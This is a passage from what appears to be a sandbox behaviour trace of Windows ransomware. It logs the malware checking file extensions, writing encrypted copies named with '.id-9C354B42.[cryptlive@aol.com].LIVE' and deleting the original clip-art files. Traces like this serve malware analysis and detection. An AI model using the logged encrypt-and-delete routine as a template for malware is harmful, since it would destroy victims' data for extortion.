lpString2=".rll") returned -1 [0133.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0133.098] lstrlenW (lpString=".1cd") returned 4 [0133.098] lstrcmpiW (lpString1=".1cd", lpString2=".rll") returned -1 [0133.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0133.098] lstrlenW (lpString=".jpg") returned 4 [0133.098] lstrcmpiW (lpString1=".jpg", lpString2=".rll") returned -1 [0133.098] lstrcmpiW (lpString1=".MID", lpString2=".LIVE") returned 1 [0133.098] lstrlenW (lpString="EAST_01.MID") returned 11 [0133.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0133.699] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=6165) returned 1 [0133.699] CloseHandle (hObject=0x314) returned 1 [0133.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid")) returned 0x20 [0133.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0133.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0133.699] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0133.699] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0133.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0133.836] GetLastError () returned 0x0 [0133.836] ReadFile (in: hFile=0x314, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x1815, lpOverlapped=0x0) returned 1 [0133.859] WriteFile (in: hFile=0x350, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x1820, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x1820, lpOverlapped=0x0) returned 1 [0133.860] ReadFile (in: hFile=0x314, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0133.860] WriteFile (in: hFile=0x350, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xea, lpOverlapped=0x0) returned 1 [0133.860] SetEndOfFile (hFile=0x350) returned 1 [0133.860] CloseHandle (hObject=0x350) returned 1 [0133.861] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0133.861] SetEndOfFile (hFile=0x314) returned 1 [0133.965] CloseHandle (hObject=0x314) returned 1 [0133.966] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0133.972] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid")) returned 1 [0133.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0133.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0133.973] lstrlenW (lpString=".doc") returned 4 [0133.973] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0133.973] lstrlenW (lpString=".docx") returned 5 [0133.973] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0133.973] lstrlenW (lpString=".pdf") returned 4 [0133.973] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0133.973] lstrlenW (lpString=".xls") returned 4 [0133.973] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0133.973] lstrlenW (lpString=".xlsx") returned 5 [0133.973] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0133.973] lstrlenW (lpString=".ppt") returned 4 [0133.973] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0133.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0133.973] lstrlenW (lpString=".zip") returned 4 [0133.973] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0133.973] lstrlenW (lpString=".rar") returned 4 [0133.973] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0133.973] lstrlenW (lpString=".bz2") returned 4 [0133.973] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0133.973] lstrlenW (lpString=".7z") returned 3 [0133.973] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0133.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0133.973] lstrlenW (lpString=".dbf") returned 4 [0133.973] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0133.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0133.973] lstrlenW (lpString=".1cd") returned 4 [0133.973] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0133.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0133.973] lstrlenW (lpString=".jpg") returned 4 [0133.973] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0133.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0133.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0133.974] lstrlenW (lpString=".doc") returned 4 [0133.974] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0133.974] lstrlenW (lpString=".docx") returned 5 [0133.974] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0133.974] lstrlenW (lpString=".pdf") returned 4 [0133.974] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0133.974] lstrlenW (lpString=".xls") returned 4 [0133.974] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0133.974] lstrlenW (lpString=".xlsx") returned 5 [0133.974] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0133.974] lstrlenW (lpString=".ppt") returned 4 [0133.974] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0133.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0133.974] lstrlenW (lpString=".zip") returned 4 [0133.974] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0133.974] lstrlenW (lpString=".rar") returned 4 [0133.974] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0133.974] lstrlenW (lpString=".bz2") returned 4 [0133.974] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0133.974] lstrlenW (lpString=".7z") returned 3 [0133.974] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0133.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0133.974] lstrlenW (lpString=".dbf") returned 4 [0133.974] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0133.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0133.974] lstrlenW (lpString=".1cd") returned 4 [0133.974] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0133.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0133.974] lstrlenW (lpString=".jpg") returned 4 [0133.974] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0133.975] lstrcmpiW (lpString1=".MID", lpString2=".LIVE") returned 1 [0133.975] lstrlenW (lpString="FALL_01.MID") returned 11 [0133.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0134.006] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=4846) returned 1 [0134.006] CloseHandle (hObject=0x1fc) returned 1 [0134.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid")) returned 0x20 [0134.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0134.018] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.018] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0134.053] GetLastError () returned 0x0 [0134.053] ReadFile (in: hFile=0x36c, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x12ee, lpOverlapped=0x0) returned 1 [0134.055] WriteFile (in: hFile=0x384, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x12f0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x12f0, lpOverlapped=0x0) returned 1 [0134.056] ReadFile (in: hFile=0x36c, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0134.056] WriteFile (in: hFile=0x384, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xea, lpOverlapped=0x0) returned 1 [0134.056] SetEndOfFile (hFile=0x384) returned 1 [0134.056] CloseHandle (hObject=0x384) returned 1 [0134.056] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.056] SetEndOfFile (hFile=0x36c) returned 1 [0134.059] CloseHandle (hObject=0x36c) returned 1 [0134.059] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.059] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid")) returned 1 [0134.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0134.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0134.059] lstrlenW (lpString=".doc") returned 4 [0134.059] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.059] lstrlenW (lpString=".docx") returned 5 [0134.059] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0134.060] lstrlenW (lpString=".pdf") returned 4 [0134.060] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.060] lstrlenW (lpString=".xls") returned 4 [0134.060] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.060] lstrlenW (lpString=".xlsx") returned 5 [0134.060] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0134.060] lstrlenW (lpString=".ppt") returned 4 [0134.060] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0134.060] lstrlenW (lpString=".zip") returned 4 [0134.060] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.060] lstrlenW (lpString=".rar") returned 4 [0134.060] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.060] lstrlenW (lpString=".bz2") returned 4 [0134.060] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.060] lstrlenW (lpString=".7z") returned 3 [0134.060] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0134.060] lstrlenW (lpString=".dbf") returned 4 [0134.060] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0134.060] lstrlenW (lpString=".1cd") returned 4 [0134.060] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0134.060] lstrlenW (lpString=".jpg") returned 4 [0134.060] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0134.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0134.060] lstrlenW (lpString=".doc") returned 4 [0134.060] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.060] lstrlenW (lpString=".docx") returned 5 [0134.060] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0134.060] lstrlenW (lpString=".pdf") returned 4 [0134.060] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.061] lstrlenW (lpString=".xls") returned 4 [0134.061] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.061] lstrlenW (lpString=".xlsx") returned 5 [0134.061] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0134.061] lstrlenW (lpString=".ppt") returned 4 [0134.061] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0134.061] lstrlenW (lpString=".zip") returned 4 [0134.061] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.061] lstrlenW (lpString=".rar") returned 4 [0134.061] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.061] lstrlenW (lpString=".bz2") returned 4 [0134.061] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.061] lstrlenW (lpString=".7z") returned 3 [0134.061] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0134.061] lstrlenW (lpString=".dbf") returned 4 [0134.061] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0134.061] lstrlenW (lpString=".1cd") returned 4 [0134.061] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0134.061] lstrlenW (lpString=".jpg") returned 4 [0134.061] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.061] lstrcmpiW (lpString1=".MID", lpString2=".LIVE") returned 1 [0134.061] lstrlenW (lpString="GRID_01.MID") returned 11 [0134.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0134.062] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=6331) returned 1 [0134.062] CloseHandle (hObject=0x36c) returned 1 [0134.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid")) returned 0x20 [0134.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0134.062] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.062] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0134.063] GetLastError () returned 0x0 [0134.063] ReadFile (in: hFile=0x36c, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x18bb, lpOverlapped=0x0) returned 1 [0134.065] WriteFile (in: hFile=0x384, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x18c0, lpOverlapped=0x0) returned 1 [0134.066] ReadFile (in: hFile=0x36c, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0134.066] WriteFile (in: hFile=0x384, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xea, lpOverlapped=0x0) returned 1 [0134.066] SetEndOfFile (hFile=0x384) returned 1 [0134.066] CloseHandle (hObject=0x384) returned 1 [0134.067] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.067] SetEndOfFile (hFile=0x36c) returned 1 [0134.070] CloseHandle (hObject=0x36c) returned 1 [0134.070] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.070] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid")) returned 1 [0134.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0134.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0134.071] lstrlenW (lpString=".doc") returned 4 [0134.071] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.071] lstrlenW (lpString=".docx") returned 5 [0134.071] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0134.071] lstrlenW (lpString=".pdf") returned 4 [0134.071] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.071] lstrlenW (lpString=".xls") returned 4 [0134.071] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.071] lstrlenW (lpString=".xlsx") returned 5 [0134.071] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0134.071] lstrlenW (lpString=".ppt") returned 4 [0134.071] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0134.071] lstrlenW (lpString=".zip") returned 4 [0134.071] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.071] lstrlenW (lpString=".rar") returned 4 [0134.071] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.071] lstrlenW (lpString=".bz2") returned 4 [0134.071] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.071] lstrlenW (lpString=".7z") returned 3 [0134.071] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0134.071] lstrlenW (lpString=".dbf") returned 4 [0134.071] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0134.071] lstrlenW (lpString=".1cd") returned 4 [0134.071] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0134.071] lstrlenW (lpString=".jpg") returned 4 [0134.071] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0134.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0134.072] lstrlenW (lpString=".doc") returned 4 [0134.072] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.072] lstrlenW (lpString=".docx") returned 5 [0134.072] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0134.072] lstrlenW (lpString=".pdf") returned 4 [0134.072] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.072] lstrlenW (lpString=".xls") returned 4 [0134.072] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.072] lstrlenW (lpString=".xlsx") returned 5 [0134.072] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0134.072] lstrlenW (lpString=".ppt") returned 4 [0134.072] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0134.072] lstrlenW (lpString=".zip") returned 4 [0134.072] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.072] lstrlenW (lpString=".rar") returned 4 [0134.072] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.072] lstrlenW (lpString=".bz2") returned 4 [0134.072] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.072] lstrlenW (lpString=".7z") returned 3 [0134.072] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0134.072] lstrlenW (lpString=".dbf") returned 4 [0134.072] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0134.072] lstrlenW (lpString=".1cd") returned 4 [0134.072] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0134.072] lstrlenW (lpString=".jpg") returned 4 [0134.072] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.073] lstrcmpiW (lpString1=".MID", lpString2=".LIVE") returned 1 [0134.073] lstrlenW (lpString="HTECH_01.MID") returned 12 [0134.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0134.073] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=7178) returned 1 